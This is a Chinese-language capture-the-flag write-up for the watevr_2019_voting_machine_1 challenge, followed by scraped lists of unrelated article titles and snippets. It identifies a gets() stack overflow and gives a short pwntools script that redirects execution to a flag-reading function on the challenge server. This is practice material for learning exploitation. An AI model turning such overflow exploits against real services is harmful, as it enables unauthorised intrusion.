远程连接,看一下交互。发现是一个投票系统,让用户在0-10之间选择一个数字并输入。

file 查看文件。64 位 ELF 可执行文件。

checksec 查看文件安全属性。开启了 NX 保护,栈上无执行权限。

IDA 打开文件。查看 main 函数,发现了 gets 危险函数。

双击 v4,发现了栈溢出大小为 0x2+8=0x10。

尝试寻找 backdoor 函数,发现了 super_secret_fuction 函数,没有 /bin/bash,但是存在 fopen("/home/ctf/flag.txt","r") 以只读模式打开flag.txt文件。

PWN流程:溢出 v4 ,覆盖 super_secret_fuction 函数,让其执行 fopen("/home/ctf/flag.txt","r")再通过不断接受数据以达到劫持的目的,将 flag 的内容放到自定义变量中,最后打印出这个变量。

exp:

from pwn import *  

r=remote('node5.buuoj.cn',29744)
flag_addr=0x400807
payload=b'a'*10+p64(flag_addr) #一定要是 10, 而不能是 0x10
r.sendline(payload)
flag=r.recvall()
print(flag)

得到 flag。

PWN手成长之路-06-watevr_2019_voting_machine_1-栈溢出+劫持的更多相关文章

  1. 专访雷水果国:离1.5K至18K 一个程序猿5每年的成长之路

    我只是一个小菜鸟,对于自主学习和交流PHP(jquery,linux,lamp,shell,javascript,server)等一系列的知识.小菜鸟创建了一个群.希望光临本博客的人能够进来交流. 寻 ...

  2. 我的Cocos Creator成长之路1环境搭建以及基本的文档阅读

    本人原来一直是做cocos-js和cocos-lua的,应公司发展需要,现转型为creator.会在自己的博客上记录自己的成长之路. 1.文档阅读:(cocos的官方文档) http://docs.c ...

  3. 《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》

    <菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...

  4. 原创电子书《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》

    <菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...

  5. (转)Python成长之路【第九篇】:Python基础之面向对象

    一.三大编程范式 正本清源一:有人说,函数式编程就是用函数编程-->错误1 编程范式即编程的方法论,标识一种编程风格 大家学习了基本的Python语法后,大家就可以写Python代码了,然后每个 ...

  6. redis成长之路——(二)

    redis操作封装 针对这些常用结构,StackExchange.Redis已经做了一些封装,不过在实际应用场景中还必须添加一些功能,例如重试等 所以对一些常功能做了一些自行封装SERedisOper ...

  7. redis成长之路——(一)

    为什么使用redis Redis适合所有数据in-momory的场景,虽然Redis也提供持久化功能,但实际更多的是一个disk-backed的功能,跟传统意义上的持久化有比较大的差别,那么可能大家就 ...

  8. 【腾讯Bugly干货分享】JSPatch 成长之路

    本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/579efa7083355a9a57a1ac5b Dev Club 是一个交流移动 ...

  9. redis成长之路——(七)

    扩展性封装 虽说现在StackExchange.Redis免费,万一到时候和servicestack.redis一样要收费呢,所以先留一口,后续的可以再处理 实例代码点击这里查看 redis成长之路- ...

  10. redis成长之路——(六)

    redis配置 为了码农在代码上只关心业务以及代码上的统一性,wenli.drive.redis内部使用配置来完成那些不同的场景,也就是说随便填填配置就能适应不同的场景! 当然配置多了码农也会受不了, ...

随机推荐

  1. Wordpress设置必须登录才能查看内容

    参考文章地址 我是一个不会编程的小白,在网上查了好多篇的文章都没有实现这个功能.都是在改完php的代码后,网站就报废了.后来我还是求助了万能的谷歌,找了这篇文章. 上代码.大概猜测了一下,就是判断你现 ...

  2. 使用Gradio快速搭建一个网站

    使用Gradio快速搭建一个网站. 提到使用gr.Interface创建UI界面,定义输入输出类型,然后通过demo.launch()启动.这应该是最基础的方法.中的示例代码也展示了类似的步骤,安装G ...

  3. unity判断点是否在长方体内部

    using UnityEngine; public class CubeCheck : MonoBehaviour { // 长方体的位置.旋转和尺寸 public Vector3 position ...

  4. 一名ICer的博客开帖记录

    前言 看园子内容已有3-4年之久,虽然对于一名ICer来说,园子内容偏少.但是仍然"咸鱼IC"等一众大佬的优质好文,让我知道这是我未来学习技术的一个好地方.也在我心中埋下了一个未来 ...

  5. Prisma不能优雅的支持DTO,试试Vona ORM吧

    在Nodejs生态中,Prisma是一个非常流行的ORM库,支持Typescript,提供了非常友好的类型推断能力.但是,Prisma却不能优雅的支持DTO.在与其他后端框架整合时,DTO是进行参数验 ...

  6. axios 的二次封装及使用

    1 // 将axios再次封装 2 import axios from 'axios'; // npm i -S axios 3 4 import Qs from 'qs' // npm i -S q ...

  7. D - Problem D. Game HDU - 6312

    Alice and Bob are playing a game. The game is played on a set of positive integers from 1 to n. In o ...

  8. [笔记]AVL树

    AVL树是一种严格平衡的二叉搜索树,任何操作结束后,都能保证每个节点的左右子树高度相差不超过\(1\). 内容源自BV1rt411j7Ff - [AgOHの数据结构]平衡树专题之叁 树旋转与AVL树. ...

  9. 这个Database Transaction功能多多,你用过吗?

    Vona 是一款直观.优雅.强大的 Node.js Web 框架,用于快速开发任何规模的企业级应用.首创 DTO 动态推断与生成能力,从而显著提升开发效率和开发体验.Vona ORM 对数据库事务提供 ...

  10. claude code使用

    白嫖了cursor半年多了,虽然免费的模型能满足日常开发,但是完成一个任务还是需要不停的修修改改,浪费的时间基本上太多了.听说claude code很强大,先试试它了. claude code刚出来的 ...